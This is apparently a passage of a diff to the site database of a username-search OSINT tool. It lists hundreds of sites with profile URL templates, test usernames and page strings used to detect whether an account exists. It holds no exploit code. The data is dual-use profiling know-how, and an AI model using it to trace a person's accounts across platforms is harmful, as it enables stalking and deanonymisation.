"urlMain": "http://tovyanskaya.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "scooter-helper.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://scooter-helper.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "opinion.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://opinion.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "staroverovka.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://staroverovka.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 10724495 + }, + "hevc-club.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://hevc-club.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 907643 + }, + "fx-profit.at.ua": { + "engine": "uCoz", + "urlMain": "http://fx-profit.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "spaceserials.ru": { + "engine": "uCoz", + "urlMain": "http://spaceserials.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "profsouz-au.ru": { + "engine": "uCoz", + "urlMain": "http://profsouz-au.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "avto.dzerghinsk.org": { + "disabled": true, + "tags": [ + "ua" + ], + "engine": "uCoz", + "urlMain": "http://avto.dzerghinsk.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 1423460 + }, + "sufficit.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://sufficit.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "fly.my1.ru": { + "engine": "uCoz", + "urlMain": "http://fly.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "schoolteacher.moy.su": { + "engine": "uCoz", + "urlMain": "http://schoolteacher.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "vkusnyashkino.ru": { + "engine": "uCoz", + "urlMain": "http://vkusnyashkino.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "urmai-urmaevo.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://urmai-urmaevo.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "metrologika.ru": { + "engine": "uCoz", + "urlMain": "http://metrologika.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "bookz.su": { + "engine": "uCoz", + "urlMain": "http://bookz.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "pik100.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pik100.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3466485 + }, + "ahera.ru": { + "engine": "uCoz", + "urlMain": "http://ahera.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "drawings-base.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://drawings-base.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "mycomputer.ks.ua": { + "engine": "uCoz", + "urlMain": "http://mycomputer.ks.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "portal-cs-1-6.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://portal-cs-1-6.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "forum4.ucoz.net": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://forum4.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "forum" + ] + }, + "tvigra.clan.su": { + "engine": "uCoz", + "urlMain": "http://tvigra.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "xn----7sbcctevcqafop1aviko5l.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn----7sbcctevcqafop1aviko5l.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4364152 + }, + "lori.at.ua": { + "engine": "uCoz", + "urlMain": "http://lori.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "minnac.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://minnac.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "xyuivet-mailcpy.moy.su": { + "engine": "uCoz", + "urlMain": "http://xyuivet-mailcpy.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dubrovo.moy.su": { + "engine": "uCoz", + "urlMain": "http://dubrovo.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "animelend.my1.ru": { + "engine": "uCoz", + "urlMain": "http://animelend.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "art-nata.my1.ru": { + "tags": [ + "kz" + ], + "engine": "uCoz", + "urlMain": "http://art-nata.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 1151909 + }, + "wmmail-wmmail.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://wmmail-wmmail.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "zornet.ru": { + "disabled": true, + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://zornet.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 462105 + }, + "top10allservers.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://top10allservers.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "na-sochi.ru": { + "engine": "uCoz", + "urlMain": "http://na-sochi.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "simf-mama.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://simf-mama.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kredituemall.ru": { + "engine": "uCoz", + "urlMain": "http://kredituemall.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mircasov.ru": { + "engine": "uCoz", + "urlMain": "http://mircasov.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3446959 + }, + "vsemobile.my1.ru": { + "engine": "uCoz", + "urlMain": "http://vsemobile.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "art-color.my1.ru": { + "engine": "uCoz", + "urlMain": "http://art-color.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "xn--24-6kcaal6ajt1cpibnu7d5dtc.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn--24-6kcaal6ajt1cpibnu7d5dtc.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "tags": [ + "medicine", + "ru" + ] + }, + "usersoft.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://usersoft.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zapgame.ru": { + "engine": "uCoz", + "urlMain": "http://zapgame.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "yagubov.site": { + "engine": "uCoz", + "urlMain": "http://yagubov.site", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "ships.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://ships.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "masseffect-universe.com": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://masseffect-universe.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 928328 + }, + "histroom.my1.ru": { + "engine": "uCoz", + "urlMain": "http://histroom.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "music2dj.clan.su": { + "engine": "uCoz", + "urlMain": "http://music2dj.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "osta.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://osta.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "cpu.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://cpu.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ufive.ru": { + "engine": "uCoz", + "urlMain": "http://ufive.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mir2007.ru": { + "engine": "uCoz", + "urlMain": "http://mir2007.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "popugi.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://popugi.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "hokage.tv": { + "engine": "uCoz", + "urlMain": "http://hokage.tv", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dzintarsmos09.ru": { + "engine": "uCoz", + "urlMain": "http://dzintarsmos09.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "wm.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://wm.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "margaritas.clan.su": { + "engine": "uCoz", + "urlMain": "http://margaritas.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "kotneko.at.ua": { + "engine": "uCoz", + "urlMain": "http://kotneko.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "aribut.ru": { + "engine": "uCoz", + "urlMain": "http://aribut.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "death-legion.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://death-legion.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tom.do.am": { + "engine": "uCoz", + "urlMain": "http://tom.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "beatl.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://beatl.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "homeofsky.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://homeofsky.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tlgrm.pro": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://tlgrm.pro", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "ucozzz.ru": { + "engine": "uCoz", + "urlMain": "http://ucozzz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "appleinsider.ru": { + "tags": [ + "news", + "ru", + "tech" + ], + "engine": "engine404", + "urlMain": "https://appleinsider.ru", + "url": "https://appleinsider.ru/author/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 49678 + }, + "accounts.eclipse.org": { + "tags": [ + "coding" + ], + "engine": "engine404", + "urlMain": "https://accounts.eclipse.org", + "url": "https://accounts.eclipse.org/users/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6446 + }, + "amp.flipboard.com": { + "tags": [ + "news" + ], + "engine": "engine404", + "urlMain": "https://amp.flipboard.com", + "url": "https://amp.flipboard.com/@{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2079 + }, + "banki.ru": { + "disabled": true, + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://banki.ru", + "url": "https://banki.ru/blog/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3616 + }, + "colourlovers.com": { + "tags": [ + "in" + ], + "engine": "engine404", + "urlMain": "http://colourlovers.com", + "url": "http://colourlovers.com/lover/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 30699 + }, + "Basecamphq": { + "tags": [ + "us" + ], + "engine": "engine404", + "urlMain": "https://basecamphq.com", + "url": "https://{username}.basecamphq.com/login", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 37337 + }, + "community.getpostman.com": { + "tags": [ + "forum", + "in", + "tech" + ], + "engine": "Discourse", + "urlMain": "https://community.getpostman.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3556 + }, + "designspiration.com": { + "tags": [ + "art" + ], + "engine": "engine404", + "urlMain": "https://designspiration.com", + "url": "https://designspiration.com/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 23471 + }, + "drupal.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430 - 404" + ], + "presenseStrs": [ + "<ul class=\"tabs--primary\">" + ], + "urlMain": "https://drupal.ru", + "url": "https://drupal.ru/username/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 346804 + }, + "followus.com": { + "tags": [ + "in" + ], + "engine": "engine404", + "urlMain": "https://followus.com", + "url": "https://followus.com/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 107398 + }, + "discuss.codecademy.com": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "urlMain": "https://discuss.codecademy.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 2347 + }, + "fancy.com": { + "disabled": true, + "tags": [ + "shopping" + ], + "engine": "engine404", + "urlMain": "https://fancy.com", + "url": "https://fancy.com/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 55415 + }, + "fotostrana.ru": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://fotostrana.ru", + "url": "https://fotostrana.ru/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3672 + }, + "freelancehunt.ru": { + "tags": [ + "ru", + "uz" + ], + "engine": "engine404", + "urlMain": "https://freelancehunt.ru", + "url": "https://freelancehunt.ru/freelancer/{username}.html", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 1248520 + }, + "freelance.ua": { + "tags": [ + "ua" + ], + "errors": { + "https://freelance.ua/war/": "Site censorship" + }, + "engine": "engine404", + "urlMain": "https://freelance.ua", + "url": "https://freelance.ua/en/user/{username}/portfolio/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 264688 + }, + "linktr.ee": { + "tags": [ + "links" + ], + "checkType": "message", + "absenceStrs": [ + "The page you\u2019re looking for doesn\u2019t exist.", + "Want this to be your username?" + ], + "presenseStrs": [ + "@container/profile-container" + ], + "urlMain": "https://linktr.ee", + "url": "https://linktr.ee/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "Blisscartoos", + "alexaRank": 134 + }, + "jsfiddle.net": { + "tags": [ + "coding", + "sharing" + ], + "engine": "engine404", + "urlMain": "https://jsfiddle.net", + "url": "https://jsfiddle.net/user/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john", + "alexaRank": 2375 + }, + "rive.app": { + "tags": [ + "in" + ], + "engine": "engine404", + "urlMain": "https://rive.app", + "url": "https://rive.app/a/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 100125 + }, + "stopgame.ru": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://stopgame.ru", + "url": "https://stopgame.ru/users/profile/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 36379 + }, + "social.msdn.microsoft.com": { + "disabled": true, + "tags": [ + "us" + ], + "engine": "engine404", + "urlMain": "https://social.msdn.microsoft.com", + "url": "https://social.msdn.microsoft.com/profile/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 19 + }, + "selly.gg": { + "engine": "engine404", + "urlMain": "https://selly.gg", + "url": "https://selly.gg/@{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 1735049 + }, + "{username}.tilda.ws": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://tilda.ws", + "url": "https://{username}.tilda.ws", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2251 + }, + "{username}.portfoliobox.net": { + "tags": [ + "in", + "jp", + "us" + ], + "engine": "engine404", + "urlMain": "https://portfoliobox.net", + "url": "https://{username}.portfoliobox.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 56594 + }, + "teamtreehouse.com": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Member Since" + ], + "absenceStrs": [ + "Bummer! You must be logged in to access this page." + ], + "urlMain": "https://teamtreehouse.com", + "url": "https://teamtreehouse.com/profiles/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "god", + "alexaRank": 16193 + }, + "twentysix.ru": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://twentysix.ru", + "url": "https://twentysix.ru/profile/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 935029 + }, + "xakep.ru": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://xakep.ru", + "url": "https://xakep.ru/author/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 67953 + }, + "hi-news.ru": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://hi-news.ru", + "url": "https://hi-news.ru/author/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 51542 + }, + "russpuss.ru": { + "engine": "engine404", + "urlMain": "https://www.russpuss.ru", + "url": "https://www.russpuss.ru/profile/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "erotic", + "forum", + "ru" + ], + "alexaRank": 1893858 + }, + "upwork.com": { + "tags": [ + "us" + ], + "engine": "engine404", + "urlMain": "https://upwork.com", + "url": "https://upwork.com/fl/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 215 + }, + "joyreactor.cc": { + "tags": [ + "art", + "nl", + "ru" + ], + "engine": "engineRedirect", + "urlMain": "http://joyreactor.cc", + "url": "http://joyreactor.cc/user/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 12813 + }, + "codeforces.com": { + "tags": [ + "coding", + "in" + ], + "errors": { + "The page is temporarily blocked by administrator.": "IP ban" + }, + "checkType": "message", + "presenseStrs": [ + "Contest rating" + ], + "urlMain": "http://codeforces.com", + "url": "http://codeforces.com/profile/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6824 + }, + "GitHubGist": { + "tags": [ + "coding", + "sharing" + ], + "engine": "engineRedirect", + "urlMain": "https://gist.github.com", + "url": "https://gist.github.com/{username}", + "source": "GitHub", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 26 + }, + "hosting.kitchen": { + "tags": [ + "ru" + ], + "engine": "engineRedirect", + "urlMain": "https://hosting.kitchen", + "url": "https://hosting.kitchen/profile/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 1363479 + }, + "tripit.com": { + "disabled": true, + "tags": [ + "us" + ], + "engine": "engineRedirect", + "urlMain": "https://tripit.com", + "url": "https://tripit.com/people/{username}#/profile/basic-info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 29179 + }, + "freelance.ru": { + "tags": [ + "ru" + ], + "engine": "engine404get", + "urlMain": "https://freelance.ru", + "url": "https://freelance.ru/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 63852 + }, + "freelansim.ru": { + "engine": "engine404get", + "urlMain": "https://freelansim.ru", + "url": "https://freelansim.ru/freelancers/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 8720399 + }, + "fotolog.com": { + "tags": [ + "in" + ], + "engine": "engine404get", + "urlMain": "http://fotolog.com", + "url": "http://fotolog.com/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 30498 + }, + "thoughts.com": { + "tags": [ + "blog" + ], + "checkType": "message", + "absenceStrs": [ + "<title>Page not found" + ], + "presenseStrs": [ + "user-activity" + ], + "urlMain": "http://thoughts.com", + "url": "http://thoughts.com/members/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "jules60", + "alexaRank": 313408 + }, + "hackernoon.com": { + "tags": [ + "news", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "<title>HackerNoon" + ], + "presenseStrs": [ + " | HackerNoon" + ], + "urlMain": "https://hackernoon.com", + "url": "https://hackernoon.com/u/{username}", + "usernameUnclaimed": "noonewouldeverusethis71", + "usernameClaimed": "god", + "alexaRank": 4611 + }, + "Intigriti": { + "tags": [ + "eu", + "hacking" + ], + "checkType": "message", + "presenseStrs": [ + "avatar-container" + ], + "absenceStrs": [ + "We didn't find what you're looking for" + ], + "urlMain": "https://intigriti.com", + "url": "https://app.intigriti.com/profile/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 128097 + }, + "yamaya.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "Skype:" + ], + "absenceStrs": [ + "

    " + ], + "urlMain": "https://yamaya.ru", + "url": "https://yamaya.ru/profile/?{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "maya", + "alexaRank": 3335220 + }, + "Tinkoff Invest": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "ProfileHeader__nickname" + ], + "absenceStrs": [ + "ProductError" + ], + "urlMain": "https://www.tinkoff.ru/invest/", + "url": "https://tinkoff.ru/invest/social/profile/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "adam", + "alexaRank": 1020 + }, + "Protovary.style": { + "checkType": "response_url", + "urlMain": "https://protovary.style", + "url": "https://protovary.style/user/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5350288 + }, + "beacons.ai": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "https://cdn.beacons.ai/profile_pictures" + ], + "absenceStrs": [ + "https://beacons.ai/bw_logo_full.png" + ], + "urlMain": "https://beacons.ai", + "url": "https://beacons.ai/{username}", + "usernameClaimed": "pasteljellies", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4488 + }, + "are.na": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Profile--view" + ], + "absenceStrs": [ + "Are.na home" + ], + "urlMain": "https://www.are.na", + "url": "https://www.are.na/{username}", + "usernameClaimed": "nate-cassel", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 27323 + }, + "mywishboard.com": { + "tags": [ + "in" + ], + "checkType": "message", + "presenseStrs": [ + "profile-header", + " profile-header__col" + ], + "absenceStrs": [ + "This page could not be found" + ], + "urlMain": "https://mywishboard.com", + "url": "https://mywishboard.com/@{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 379990 + }, + "crafta.ua": { + "tags": [ + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "cft-profile-about" + ], + "absenceStrs": [ + "Page not found" + ], + "urlMain": "https://crafta.ua", + "url": "https://{username}.crafta.ua/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 239025 + }, + "m.smutty.com": { + "tags": [ + "erotic", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "profile_stats_n" + ], + "absenceStrs": [ + "Not Found" + ], + "urlMain": "https://m.smutty.com", + "url": "https://m.smutty.com/user/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 25248, + "disabled": true + }, + "www.marykay.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "email" + ], + "absenceStrs": [ + "errorPage" + ], + "urlMain": "https://www.marykay.ru", + "url": "https://www.marykay.ru/{username}", + "usernameClaimed": "anna", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 195582, + "disabled": true + }, + "profile.hatena.ne.jp": { + "tags": [ + "jp" + ], + "checkType": "message", + "presenseStrs": [ + "profile" + ], + "absenceStrs": [ + "404 Not Found" + ], + "urlMain": "https://profile.hatena.ne.jp", + "url": "https://profile.hatena.ne.jp/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2204 + }, + "www.freelancejob.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u041a\u043e\u043b-\u0432\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u043e\u0432 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "absenceStrs": [ + "

    \u041e\u0448\u0438\u0431\u043a\u0430 404

    " + ], + "urlMain": "https://www.freelancejob.ru", + "url": "https://www.freelancejob.ru/users/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 230462 + }, + "forum.exkavator.ru": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "https://forum.exkavator.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 129118 + }, + "forum.kineshemec.ru": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://forum.kineshemec.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 183592 + }, + "forum.nemodniy.ru": { + "disabled": true, + "engine": "vBulletin", + "urlMain": "http://forum.nemodniy.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 2074283 + }, + "forum.zone-game.info": { + "engine": "vBulletin", + "urlMain": "https://forum.zone-game.info", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 913014 + }, + "forum.uinsell.net": { + "engine": "vBulletin", + "urlMain": "http://forum.uinsell.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true, + "tags": [ + "forum" + ] + }, + "forum.heroesworld.ru": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "https://forum.heroesworld.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 403451 + }, + "brute.pw": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://brute.pw", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dapf.ru": { + "engine": "XenForo", + "urlMain": "https://dapf.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 3930895 + }, + "cubecraft.net": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "urlMain": "https://www.cubecraft.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 175256 + }, + "cowboyszone.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "urlMain": "https://cowboyszone.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 209568 + }, + "forums.golfmonthly.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "urlMain": 